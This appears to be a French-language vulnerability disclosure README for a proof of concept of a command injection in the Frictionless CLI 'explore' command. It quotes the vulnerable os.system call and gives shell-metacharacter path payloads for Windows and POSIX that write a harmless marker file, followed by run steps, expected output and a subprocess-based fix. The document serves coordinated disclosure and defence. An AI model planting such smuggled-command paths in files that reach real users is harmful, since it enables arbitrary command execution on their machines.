
Preuve de concept pour CVE-2026-93349, une injection de commande OS dans Frictionless <= 5.20.0rc1 via l'exploration de la CLI à travers des chemins de descripteur de Data Package malveillants.
<= 5.20.0rc1 explore de FrictionlessSévérité : Élevée, CVSS 3.1 8.8
Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affecté : toutes les versions de Frictionless <= 5.20.0rc1
Composant : frictionless.console.commands.explore
CWE : CWE-78 (Injection de commande OS), CWE-20 (Validation d'entrée incorrecte)
Découvert et signalé par : Sai Teja Erukude
Les versions de Frictionless jusqu'à la préversion 5.20.0rc1 incluse contiennent une
vulnérabilité d'injection de commande OS dans la commande CLI frictionless explore.
La commande charge un descripteur de Data Package fourni par l'utilisateur, collecte les chemins
de ressources, dérive resource.normpath, joint ces chemins en une seule chaîne de commande
et passe cette chaîne directement à os.system :
paths = [resource.normpath for resource in resources if resource.normpath]
os.system(f"vd {' '.join(paths)}")
Comme resources[*].path est une métadonnée contrôlée par le descripteur provenant de
datapackage.json, un attaquant peut inclure des métacaractères de shell dans un chemin
de ressource. Lorsqu'une victime exécute frictionless explore sur le descripteur malveillant,
le shell interprète ces métacaractères et exécute la commande injectée.
Un attaquant peut exécuter des commandes arbitraires dans le contexte de sécurité de l'utilisateur
exécutant frictionless explore.
Cela peut affecter les flux de travail où les utilisateurs inspectent, valident ou explorent des descripteurs de Data Package provenant de projets, archives, dépôts ou jeux de données partagés non fiables.
Selon l'environnement local, cela peut permettre :
Le chemin vulnérable est la commande explore :
frictionless explore <package>
-> Package.from_descriptor(...)
-> Resource.list()
-> resource.normpath
-> os.system(f"vd {' '.join(paths)}")
Le PoC génère un descripteur de Data Package où resources[0].path contient une
charge utile inoffensive d'écriture de fichier marqueur.
Sous Windows, le chemin généré utilise des séparateurs de commande & :
data.csv & echo frictionless_explore_command_injection_triggered>"...\marker.txt" & rem
Sur les systèmes POSIX, le chemin généré utilise des séparateurs de commande point-virgule :
data.csv; printf %s frictionless_explore_command_injection_triggered > .../marker.txt; #
Le lanceur invoque la véritable commande frictionless explore du paquet installé. Il vide
PATH pour le processus enfant afin que le visualiseur vd prévu ne se lance pas de manière
interactive, mais la commande injectée s'exécute tout de même lorsque le shell analyse la chaîne
de commande construite.
package_builder.py crée le descripteur de Data Package contrôlé par
l'attaquant et un fichier CSV bénin.
run_poc.py valide le descripteur, invoque frictionless explore et affiche
les preuves d'exécution.
À exécuter uniquement dans un environnement de test local :
python -m venv .venv
.venv\Scripts\activate
python -m pip install -r requirements.txt
python -B run_poc.py
Le fichier requirements.txt inclus épingle frictionless==5.20.0rc1, la dernière préversion
vulnérable confirmée dans cette plage.
Preuves attendues sur les versions vulnérables :
frictionless_version : 5.20.0rc1
installed_package : True
descriptor_valid : True
listed_resource_count : 1
raw_path_contains_payload : True
normpath_contains_payload : True
explore_returncode : 0
viewer_launch_disabled : True
marker_exists : True
marker_contents
frictionless_explore_command_injection_triggered
success : True
La preuve importante est que le descripteur malveillant est valide, que le chemin contrôlé par
le descripteur survit jusqu'à resource.normpath, et que marker.txt est créé après l'exécution
de frictionless explore.
La charge utile est intentionnellement inoffensive. Elle écrit uniquement cette chaîne marqueur locale :
frictionless_explore_command_injection_triggered
Elle ne lance pas de session shell, ne se connecte à aucun service réseau, ne lit aucun secret, ne supprime aucune donnée et ne modifie aucun fichier en dehors du répertoire du PoC.
Évitez de passer des chemins contrôlés par le descripteur à un shell.
Remplacez l'invocation basée sur le shell par subprocess.run en utilisant un vecteur
d'arguments :
subprocess.run(["vd", *paths], check=False)
Cela passe chaque chemin de ressource comme argument littéral à vd. Les métacaractères de shell
à l'intérieur d'un chemin restent des caractères ordinaires dans cette entrée argv unique et ne
sont pas exécutés.
La mise sur liste noire de caractères de chemin spécifiques est plus faible car la syntaxe du shell varie selon les plateformes et les shells. La frontière d'invocation de commande est la cause racine, donc le correctif durable devrait éviter l'interprétation par le shell.
Voir fix.md pour un correctif suggéré.
Découvert et signalé par Sai Teja Erukude.
La divulgation a été coordonnée via VulnCheck.
exploit_walkthrough.mdfix.md